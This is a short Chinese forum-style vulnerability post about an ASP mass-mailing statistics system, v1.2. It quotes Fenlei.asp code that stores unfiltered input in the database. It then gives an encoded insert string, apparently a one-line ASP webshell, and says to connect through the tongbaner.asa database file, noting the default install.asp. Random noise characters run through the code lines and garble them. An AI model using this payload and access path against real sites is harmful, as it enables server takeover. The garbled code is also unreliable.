铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
2 L3 B5 z( O& d: i6 ?1 w
IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
0 w8 N. ]  u) _9 }+ KIF Countss ("tui","Fenlei",ID )<>0 then
) ^) @8 ?* d( m* J" f'略
IF Request.QueryString("Action")="Add" Then
0 Q4 P0 L. \5 p, K+ X' I) ^& dTname=Request.Form("Typename")
$ }+ t$ x2 g, t& x8 cSet Rs=Server.CreateObject("adodb.Recordset")
; j5 {% [5 D$ {+ f( ~Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
/ Z8 l) \4 p2 pSql="Select * From Fenlei Order by id Desc "
9 U" s- b2 A4 i5 r$ D* H5 RRs.Open Sql,Conn,1,1
'略
  g" P8 F6 n: i( ~%>
0 Z* C; B7 y; W
% Y3 G' o$ P( d3 ]" \. U; I* P% }
, y. ~; a8 t$ o+ A- b: Z0 F" N
* Z( R7 a# e0 V3 j. g* S0 z4 x没有过滤，直接写入数据库。

利用方法：
& n" ^- T, J! a, x1 R
) D) }; W  I/ x4 T# J4 d. j8 _3 f插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp
( R6 g) k; d2 _# R3 i* P2 I